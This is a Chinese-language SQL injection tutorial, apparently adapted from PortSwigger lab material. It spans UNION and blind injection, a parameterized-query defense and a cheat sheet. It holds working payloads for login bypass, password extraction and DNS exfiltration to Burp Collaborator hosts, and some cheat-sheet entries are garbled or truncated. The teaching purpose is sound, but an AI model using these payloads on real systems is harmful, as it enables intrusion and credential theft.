在本节中,我们将解释什么是 SQL 注入,描述一些常见的例子,解释如何发现和利用各种 SQL 注入漏洞,并总结如何防止 SQL 注入。

2 什么是SQL注入?(SQLi)
SQL 注入是一种 Web 安全漏洞,允许攻击者干扰应用程序对其数据库进行的查询。它通常允许攻击者查看他们正常无法获得的数据。这其中可能包括属于其他用户的数据,或任何应用程序自身才能够访问的其他数据。在许多情况下,攻击者可以修改或删除这些数据,从而导致应用程序的内容或行为发生永久性更改。
在某些情况下,攻击者可以逐步扩大 SQL 注入攻击以破坏底层服务器或其他后端基础设施,或执行拒绝服务攻击。
3 SQL 注入成功攻击有什么影响?
成功的 SQL 注入攻击可能导致对敏感数据(例如密码、信用卡详细信息或个人用户信息)的未授权访问。近年来,许多备受瞩目的数据泄露事件都是 由于SQL 注入攻击的导致,造成声誉受损和监管罚款。在某些情况下,攻击者可以建立进入组织系统内部的持久后门,从而导致可能在很长一段时间内不被发现的长期危害。
4 SQL注入示例
在不同的情况下,SQL 注入漏洞、攻击和技术多种多样。一些常见的 SQL 注入示例包括:
获取敏感数据,攻击者可以修改 SQL 查询语句以获取其他数据。
破坏应用程序逻辑,攻击者可以在更改查询语句以干扰应用程序的逻辑。
UNION 攻击,攻击者可以从不同的数据库表中获取数据。
审查数据库,攻击者可以在提取有关数据库版本和结构的信息。
SQL 盲注,攻击者控制的查询结果不会在应用程序的响应中返回。
4.1 获取敏感数据
假设有一个显示不同类别产品的购物应用程序。当用户点击礼物类别时,他们的浏览器会请求 URL:
https://insecure-website.com/products?category=Gifts应用程序通过 SQL 查询以从数据库中检索相关产品的详细信息:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1此 SQL 查询要求数据库返回:
all details (*)
from the products table
where the category is Gifts
and released is 1.
其中限制released = 1 用于隐藏未发布的产品。对于未发布的产品,很可能是released = 0。
该应用程序没有采取任何针对 SQL 注入攻击的防御措施,因此攻击者可以构建如下攻击:https://insecure-website.com/products?category=Gifts'--
最终SQL查询语句为:SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
这里的关键是双破折号序列 -- 是 SQL 中的注释符,其后面部分被注释。删除了查询的其余部分,因此查询条件中不再包含 AND released = 1。这意味着结果显示所有产品,包括未发布的产品。
更进一步,攻击者可以使应用程序显示任何类别中的所有产品,包括他们不知道的类别:https://insecure-website.com/products?category=Gifts'+OR+1=1--
最终SQL查询语句为:SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
修改后的查询将返回类别为Gifts或 1 等于 1 的所有项目。由于 1=1 始终为真,查询将返回所有项目。
【实战练习】https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data
构造or 1=1-- 查询出所有类别。

4.2 破坏应用程序逻辑
考虑允许用户使用用户名和密码登录的应用程序。如果提交用户名wiener和密码bluecheese,则应用程序通过执行以下SQL语句检查凭据:SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
如果查询结果返回了用户的详细信息,则登录成功。否则,登录失败。
此处,攻击者可以使用SQL注释符注释Where子句中password 字段的检查,从而在不需要密码的情况下以任意用户登录。例如,提交用户名为administrator'-- 密码为空的查询语句:SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
【实战练习】https://portswigger.net/web-security/sql-injection/lab-login-bypass
构造万能密码username=test' or 1=1-- 即可成功登录。


4.3 UNION联合注入攻击
当应用程序存在SQL注入漏洞,且查询的结果在应用程序的响应中返回时,union关键字可用于从数据库中的其他表中检索数据。从而可导致SQL注入联合攻击。
UNION 关键字允许执行一个或多个额外的SELECT 查询,并将结果附加到原始查询。例如:SELECT a, b FROM table1 UNION SELECT c, d FROM table2
此SQL查询将返回具有两列的单个结果集合,包含table1中的列A和B,以及table2中的列C和D的值。
要使联合查询成功执行,必须满足两个关键要求:
每个查询必须返回相同数量的列。
每个列中的数据类型必须在各个查询之间兼容。
要执行SQL联合注入攻击,需要确保攻击符合以上两个要求。由此涉及到两个问题:
原始查询表中存在多少列?
原始查询表返回哪些列的数据类型可用,以用于保存注入返回的结果?
4.3.1 确定SQL注入联合攻击所需的列数
测试SQL注入联合攻击时,有两种有效的方法可以确定原始表中存在的列数。
1)第一种方法是通过不断增加ORDER BY语句后的列索引值,直至返回错误。例如,假设注入点是原始查询where子句内的引用字符串,可以通过提交:
' ORDER BY 1--' ORDER BY 2--' ORDER BY 3--
等等。。。
这一连串payload修改了原始查询在结果集中通过不同列排序的结果。Order By语句中的列可以通过其索引值指定,因此无需知道任何列名称。当指定的列索引值超过结果集中的实际列的数量时,数据库返回错误,例如:The ORDER BY position number 3 is out of range of the number of items in the select list.
应用程序实际上可能会在其HTTP响应中返回数据库错误,或者可能会返回通用错误,或者只是返回空。如果可以发现到应用程序的响应中的某些差异,则可以推断从查询返回多少列。
2)第二种方法是通过UNION SELECT提交一连串不同数量的NULL值。
' UNION SELECT NULL--' UNION SELECT NULL,NULL--' UNION SELECT NULL,NULL,NULL--
等等。。。
如果NULL数量与列数不匹配,则数据库返回错误,例如:All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
同样,应用程序实际上可能会返回此错误消息,也可能返回通用错误或没有结果。当NULL的数量与列数匹配时,数据库在结果集中返回一个附加行,其中包含每列中的空值。对HTTP响应结果的影响取决于应用程序的代码。如果很幸运,可以在响应中看到一些其他内容,例如HTML表上的额外行。否则,空值可能会触发不同的错误,例如NullPointerException。最糟糕的情况,从响应中可能无法判断是否由不正确的空数量引起的,从而使得第二种方法无法确定列数。
【实战练习】https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns
注入order by 4-- 时报错

注入union select Null,Null,Null时回显正常

注意:
a) 在SELECT注入语句中使用NULL的原因是每个列中的数据类型必须兼容原始查询和注入查询。由于NULL可转换为任何一种常用的数据类型,因此在列计数正确时,使用NULL最大化的提高payload会成功执行的可能性。
n)在Oracle数据库中,每个SELECT查询必须使用FROM关键字并指定一个有效的表。在Oracle上有一个名为Dual的内置表,可用于此目的。因此,Oracle上的注入查询如下: ' UNION SELECT NULL FROM DUAL--.
c) payload中使用双划线注释符--将原始查询中注入点后的的其余部分注释掉。
有关数据库特定语法的更多详细信息,请参阅[SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)或本文中4.6部分。
4.3.2 在SQL注入联合攻击中找到可用的数据类型的列
执行SQL注入联合攻击的原因是能够从注入的查询中获取结果。通常,要获得的有用数据将以字符串形式存在,因此需要在原始查询结果中找到一个或多个列,其数据类型为或与字符串数据兼容。
若已经确定了列的数量,可以通过依次提交一系列UNION SELECT payloads到每个列中来确定当前位置列是否可以存储字符串数据。例如,如果查询返回四列,则会提交:
' UNION SELECT 'a',NULL,NULL,NULL--' UNION SELECT NULL,'a',NULL,NULL--' UNION SELECT NULL,NULL,'a',NULL--' UNION SELECT NULL,NULL,NULL,'a'--
如果列的数据类型与字符串不兼容,则注入的查询将导致数据库错误,例如:Conversion failed when converting the varchar value 'a' to data type int.
如果未发生错误,并且应用程序的响应包含一些其他内容,包括注入的字符串值,则对应列适合获取字符串数据。
【实战练习】https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text
‘a’字符串放置第二列时返回正常,且包含对应字符串

4.3.3 使用SQL联合注入攻击来获取所需的数据
当确定了原始查询返回的列数并找到哪个列可以存储字符串数据时,就可以获取其他所需的数据。
假如:
原始查询返回两列,两列都可以存储字符串数据。
注入点是WHERE子句内的引用字符串。
该数据库包含一个名为users 的表,其中包含列username 和password。
在这种情况下,可以通过提交以下输入来获得users 表中的内容:' UNION SELECT username, password FROM users--
当然,执行此次攻击所需的至关重要信息是,有一个名为users 的表,且存在username 和password两列。如果没有此信息,将需要尝试猜测表和列的名称。实际上,所有现代数据库都提供了检查数据库结构的方法,以确定它包含的表和列。
【实战练习】
修改原始查询的注入点category为不存在的值,防止返回的结果比较多,不好观察注入payload返回的结果,通过union select从users表中获取username和password。

更多信息,请参考https://portswigger.net/web-security/sql-injection/examining-the-database或本文中的4.4节。
4.3.4 获取单个列中的多个值
在前面的示例中,假设查询仅返回单个列。
可以通过选择合适的分隔符将不同列对应的值连接在一起,从而方便区分不同组合。例如,在Oracle上,可以提交输入:' UNION SELECT username || '~' || password FROM users--
Oracle中的字符串连接运算符是双管道符||。注入的查询将用户名和密码字段的值连接在一起,由〜字符分隔。查询结果将允许读取所有用户名和密码,例如:
...administrator~s3curewiener~petercarlos~montoya...
请注意,不同的数据库使用不同的语法来执行字符串连接。更多详细信息,请参阅SQL injection cheat sheet或本文中4.6部分。
【实战练习】https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-multiple-values-in-single-column
通过concat函数连接username、password字段。

4.4 通过SQL注入确定数据库类型
在利用SQL注入漏洞时,通常需要收集有关数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库的内容,其中包含它包含的表和列。
4.4.1 查询数据库类型和版本
不同的数据库提供了不同的方式查询其版本。一般需要尝试不同的查询来查找其中可用的查询语句,以确定数据库软件的类型和版本。
确定某些流行数据库类型的数据库版本的查询语句如下:
| 数据库类型 | 查询语句 |
|---|---|
| Microsoft, MySQL | SELECT @@version |
| Oracle | SELECT * FROM v$version |
| PostgreSQL | SELECT version() |
例如,可以使用以下输入使用Union攻击:
' UNION SELECT @@version--
这可能会返回像以下一样的输出,确认数据库是Microsoft SQL Server,以及正在使用的版本:
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)Mar 18 2018 09:11:49Copyright (c) Microsoft CorporationStandard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)
【实战练习—Oracle数据类型及版本】https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-oracle
【实战练习—Mysql和Microsoft数据类型及版本】https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft
4.4.2 列出数据库的内容
大多数数据库类型(类似oracle的显着异常)都有一组名为information schema的视图,其提供了有关数据库的信息。
可以使用Information_schema.tables查询列出数据库中的表:
SELECT * FROM information_schema.tables
输出以下内容:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
MyDatabase dbo Products BASE TABLEMyDatabase dbo Users BASE TABLEMyDatabase dbo Feedback BASE TABLE
输出表示有三个表,Products, Users, 和 Feedback.
可以使用Information_schema.columns查询以列出各个表中的列:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
输出以下内容:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
MyDatabase dbo Users UserId intMyDatabase dbo Users Username varcharMyDatabase dbo Users Password varchar
此输出显示指定表中的列和每列的数据类型。
【实战练习】https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle
4.4.3 Oracle中类似information schema的结构
在Oracle上,同样可以通过略微不同的查询获得相同信息。
可以通过查询all_tables列出表:SELECT * FROM all_tables
可以通过查询all_tab_columns列出列:SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
【实战练习】https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle
4.5 SQL盲注
在本节中,将描述SQL盲注的内容,解释了用于查找和利用SQL盲注漏洞的各种技术。
4.5.1 什么是SQL盲注
当应用程序存在SQL注入漏洞时,可触发SQL盲注,但其HTTP响应不包含相关的SQL查询的结果或任何数据库错误的详细信息。
SQL盲注漏洞中,许多技术(如UNION攻击)无法正常使用,因为它们依赖于能够在应用程序的响应中看到注入查询的结果。仍然可以利用SQL盲注来访问未经授权的数据,但必须使用不同的技术。
4.5.2 通过触发不同的响应内容来利用SQL盲注
假设一个应用程序使用跟踪cookie用以收集使用分析。对应用程序的请求包括如下cookie头:Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
当处理包含TrackingID cookie的请求时,应用程序通过如下SQL查询确定是否是已知用户:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
此查询容易受到SQL注入的攻击,但查询的结果不会返回给用户。但是,取决于查询是否返回数据,应用程序会采取不同的动作。如果它返回数据(因为提交了可识别的TrackingID),则页面内将显示“欢迎返回”消息。
通过观察不同SQL盲注的payload返回的不同响应内容,足够利用SQL盲注获取数据库信息。为了了解其原理,假设发送了两个请求,其中包含以下TrackingID的cookie值:
…xyz' AND '1'='1…xyz' AND '1'='2
第一个查询可以获取"Welcome back"的响应信息,因为注入和'1'='1条件为真。第二个查询不返回任何结果,因为注入的条件是假的,所以不会显示“Welcome back”的响应信息。通过响应内容的不同,可以帮助确定注入payload。
例如,假设有一个名为Users的表,具有Username和Password列,以及Administrator用户。可以通过一次测试密码一个字符,发送一系列输入来确定该用户的密码。
首先,发送以下输入,返回“Welcome back”消息,则表示注入的条件为真,因此密码的第一个字符大于m。
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
其次,再发送以下输入,不会返回“Welcome back”消息,则表示注入的条件为假,因此密码的第一个字符不大于t。
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
最终,我们发送以下输入,返回“Welcome back”消息,从而确认密码的第一个字符是s:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
可以继续此过程以确定Administrator用户的完整密码。
【实战练习】https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses
请注意,SUBSTRING 函数在某些类型的数据库中被称为Substr。更多详细信息,请参阅SQL injection cheat sheet或本文中4.6部分。
4.5.3 通过触发SQL错误诱发不同的响应内容来利用SQL盲注(Case)
在前面的示例中,假设执行相同的SQL查询,但不同查询语句返回内容没有差异。则前面的手段将无法成功获取信息,因为不同的注入布尔语句,其响应结果没有不同。
在这种情况下,通常可以通过根据不同的注入语句触发SQL错误来诱导应用程序来返回不同响应内容。这需要修改查询语句,以便如果条件为真,则会导致数据库错误,但如果条件为false则不会导致数据库错误。通常,数据库抛出的未处理错误会导致应用程序的响应存在不同(例如报错信息),从而可以推断注入语句。
要了解此工作原理,假设发送了两个请求,其中包含以下TrackingID的cookie值:
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='axyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
这些输入使用CASE 关键字测试表达式是否为真,从而返回不同的表达式。使用第一个,CASE 表达式执行结果为“a”,不会导致任何错误。第二个语句,执行结果为1/0,导致除零错误。假设该错误导致应用程序的HTTP响应存在某些差异,就可以使用此差异来推断注入的条件是否为真。
使用此技术,可以逐个测试一个字符来获取数据:
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
【实战练习】https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
请注意,目前存在各种触发错误注入的方法,可在不同类型数据库上应用的不同技术。更多详细信息,请参阅SQL injection cheat sheet或本文中4.6部分。
4.5.4 通过触发时间延迟来利用SQL盲注
在前面的示例中,假设应用程序现在捕获数据库错误并进行了处理。在执行SQL注入查询时触发数据库错误不再导致应用程序的响应中的存在任何差异,因此诱发数据库错误的技术将无法正常工作。
在这种情况下,通过时间延迟可以实现SQL盲注的利用。由于SQL查询通常由应用程序同步处理,所以SQL延迟查询的执行也会延迟HTTP响应。这使得能够根据HTTP响应所花费的时间来推断是否哦存在注入。
时间延迟注入需要确定具体的数据库类型。在Microsoft SQL Server中,如下所示的输入可用于测试注入条件并触发延迟,具体取决于表达式是否为真:
'; IF (1=2) WAITFOR DELAY '0:0:10'--'; IF (1=1) WAITFOR DELAY '0:0:10'--
第一个输入不会触发延迟,因为条件1 = 2是假的。第二个输入将触发延迟10秒,因为条件1 = 1是真的。
使用此技术,可以通过逐个测试一个字符来获取数据:
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
【实战练习】
https://portswigger.net/web-security/sql-injection/blind/lab-time-delays
https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval
请注意,目前存在各种触发SQL查询中的时间延迟的方式,可在不同类型数据库上利用的不同技术。更多详细信息,请参阅SQL injection cheat sheet或本文中4.6部分。
4.5.5 利用带外攻击(OAST,out-of-band)技术的SQL盲注
现在,假设应用程序执行相同的SQL查询,但异步执行。该应用程序继续处理用户在原始线程中的请求,并使用另一个线程 执行tracking cookie的SQL查询。该查询方式仍然容易受到SQL注入的影响,但到目前为止前文所介绍的技术都无法成功:应用程序的响应不依赖于查询是否返回任何数据,或者是否发生数据库错误,或者执行查询的时间。
在这种情况下,通常可以通过与攻击者所控制的系统的带外网络交互来利用SQL盲注。如前所述,可以根据根据注入的条件来触发这些,以推断信息。更直接的是通过网络交互获取数据。
各种网络协议可以用于该技术中,但通常最有效的是DNS(域名服务)。这是因为对于很多生产网络来说,允许DNS查询才能保证生产网络的正常运行。
使用带外技术的最简单和最可靠的方法是使用Burp Collaborator。其是提供了各种网络服务(包括DNS)自定义实现的服务器,可以帮助您检测将单个有效载荷发送到应用程序的网络交互。Burp Suite Professional内置支持Burp Collaborator,且无需配置。
用于触发DNS查询的技术因数据库类型不同而不同。在Microsoft SQL Server上,如下所示的输入可用于在指定的域中进行DNS查询:
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
这将导致数据库对以下域执行查找:0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net
在进行DNS查询时,可以使用Burp Suite的Collaborator客户端生成独特的子域并轮询Collaborator Server以确认。
【实战练习】https://ace61ff81e8295b2c0d5042e007900bd.web-security-academy.net/
通过Burp Suite的Collaborator生成子域,并构造注入,可获取到DNS请求,成功实现DNS带外注入。
Cookie: TrackingId=l4RntBtTREwQAAGf'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//nsj2i7gf9hd8wjrh1tv385vssjycm1.burpcollaborator.net">+%25remote%3b]>'),'/l')+FROM+dual--. ; session=5SLa7CHsLzEpC1tRFLP9Xz574MGOacsN;

在已确定带外注入的方法后,可以使用带外通道从应用程序中获取数据。例如:
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
此输入会读取Administrator 用户的密码,且附加唯一的Collaborator子域,进行DNS查询。DNS查询结果如下,允许查看捕获到的密码:
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
带外(OAST)技术是一种检测和利用SQL盲注的极其强大的方法,是由于其成功可能性高以及可以直接在带外通道内的获取数据的能力。因此,即使在其他盲注技术可要利用的情况下,OAST技术也通常是优选的。
请注意,目前存在多种触发带外注入的方式,可在不同类型数据库中利用的不同技术。更多详细信息,请参阅SQL injection cheat sheet或本文中4.6部分。
4.5.6 如何避免SQL注入?
虽然找到和利用SQL盲注漏洞所需的技术与常规SQL注入不同,但无论漏洞是否盲注,都要采取防范SQL注入的措施。
与常规SQL注入一样,可以通过使用参数化查询来防止SQL盲注攻击,这可确保用户的输入无法干扰预期的SQL查询的结构。
通过使用参数化查询(也称为prepared statements)而不是字符串拼接查询的方式,可以防止大多数SQL注入实例。
以下代码容易受到SQL注入的攻击,因为用户的输入将直接拼接到查询中:
String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
可以通过重写此代码,防止用户的输入会影响查询结构:
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();
参数化查询可用于处理用户输入会进行拼接查询的情况,包括INSERT或UPDATE 语句中的where子句。但不能用于处理查询语句中其他位置的用户输入,例如表名或列名,或Order by子句。若应用程序将用户输入的不受信任的数据放置到参数化查询无法处理的位置,则需要采取不同的方法,例如通过白名单列表限制允许的输入值,或使用不同的逻辑来处理。
若要参数化查询的方式能够有效防止SQL注入,则查询语句中使用的字符串必须始终是硬编码的常量,并且必须永远不包含任何原始的可变数据。不要试图一个个的判断数据是否可信,并继续在查询中使用字符串拼接的方式,以便被视为安全的情况。原始数据出错的可能极高,或者其他代码的变化影响了对数据的假定情况。
4.6 SQL注入速查表
此SQL注入速查表中包含多种有用的语法的示例,可以在SQL注入攻击时用来执行。
4.6.1 字符串拼接
可以将多个字符串连接在一起以形成单个字符串。
| Oracle | 'foo'||'bar' |
|---|---|
| Microsoft | 'foo'+'bar' |
| PostgreSQL | 'foo'||‘bar’ |
| MySQL | 'foo' 'bar' [注意两个字符串间的空格] CONCAT('foo','bar') |
4.6.2 Substring
可以从指定长度的指定偏移量处提取字符串的一部分。请注意,偏移索引是基于1的。以下每个表达式都会返回字符串ba。
| Oracle | SUBSTR('foobar', 4, 2) |
|---|---|
| Microsoft | SUBSTRING('foobar', 4, 2) |
| PostgreSQL | SUBSTRING('foobar', 4, 2) |
| MySQL | SUBSTRING('foobar', 4, 2) |
4.6.3 Comments
可以使用注释来截断查询并注释原始查询中其后部分语句。
| Oracle | --comment |
|---|---|
| Microsoft | --comment/*comment*/ |
| PostgreSQL | --comment/*comment*/ |
| MySQL | #comment-- comment [注意双杠后的空格]/*comment*/ |
4.6.4 Database version
可以查询数据库以确定其类型和版本。在制定更复杂的攻击时,此信息非常有用。
| Oracle | SELECT banner FROM v$versionSELECT version FROM v$instance |
|---|---|
| Microsoft | SELECT @@version |
| PostgreSQL | SELECT version() |
| MySQL | SELECT @@version |
4.6.5 Database contents
可以列出数据库中存在的表,以及这些表包含的列。
| Oracle | SELECT * FROM all_tablesSELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' |
|---|---|
| Microsoft | SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
| PostgreSQL | SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
| MySQL | SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
4.6.6 Conditional errors
如果条件为真,可以测试单个布尔条件并触发数据库错误。
| Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual |
|---|---|
| Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
| PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END |
| MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') |
4.6.7 Batched (or stacked) queries——处理(或堆)查询
可以使用批量查询连续执行多个查询。请注意,在执行后续查询时,结果不会返回应用程序。因此,该技术主要用于盲住漏洞,您可以使用第二个查询来触发DNS查找,报错注入或时间延迟。
| Oracle | Does not support batched queries. |
|---|---|
| Microsoft | QUERY-1-HERE; QUERY-2-HERE |
| PostgreSQL | QUERY-1-HERE; QUERY-2-HERE |
| MySQL | QUERY-1-HERE; QUERY-2-HERE |
注意:在MySQL中,批处理查询通常不能用于SQL注入。但是如果目标应用程序使用某些PHP或Python API与MySQL数据库通信,则可能可以。
4.6.8 Time delays
在处理查询语句时可能会导致数据库中的时间延迟。以下语句将导致无条件时间延迟10秒。
| Oracle | dbms_pipe.receive_message(('a'),10) |
|---|---|
| Microsoft | WAITFOR DELAY '0:0:10' |
| PostgreSQL | SELECT pg_sleep(10) |
| MySQL | SELECT sleep(10) |
4.6.9 Conditional time delays
可以测试单个布尔条件,并在条件为真时触发时间延迟。
| Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a' |
|---|---|
| Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
| PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
| MySQL | SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a') |
4.6.11 DNS lookup
可以触发数据库对外部域进行DNS查询。为此,需要使用Burp Collaborator Client来生成将在攻击中使用的唯一Burp Collaborator子域,然后调用Collaborator Server以确认执行了DNS查询。
| Oracle | 以下技术利用XML外部实体(XXE)漏洞触发DNS查询。该漏洞已被修补,但存在许多未升级补丁的Oracle版本:SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual</br></br>以下技术适用于完全修复的Oracle版本,但需要提升特权:SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net') |
|---|---|
| Microsoft | exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a' |
| PostgreSQL | copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net' |
| MySQL | 以下技术仅适用于Windows:LOAD_FILE('\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a')SELECT ... INTO OUTFILE '\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' |
4.6.12 DNS lookup with data exfiltration
可以使数据库执行DNS查询到包含注入查询结果的外部域。为此,需要使用Burp Collaborator客户端生成将在攻击中使用的唯一Burp Collaborator子域,然后调用Collaborator Server以获取任何DNS交互的详细信息,包括exfiltrated数据。
| Oracle | ELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://' |
|---|---|
| Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"') |
| PostgreSQL | create OR replace function f() returns void as $$</br>declare c text;</br>eclare p text;</br>begin</br>SELECT into p (SELECT YOUR-QUERY-HERE);</br>c := 'copy (SELECT '''') to program ''nslookup '</br>execute c;</br>END;</br>$$ language plpgsql security definer;</br>SELECT f(); |
| MySQL | 以下技术仅适用于Windows:</br>SELECT YOUR-QUERY-HERE INTO OUTFILE '\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' |




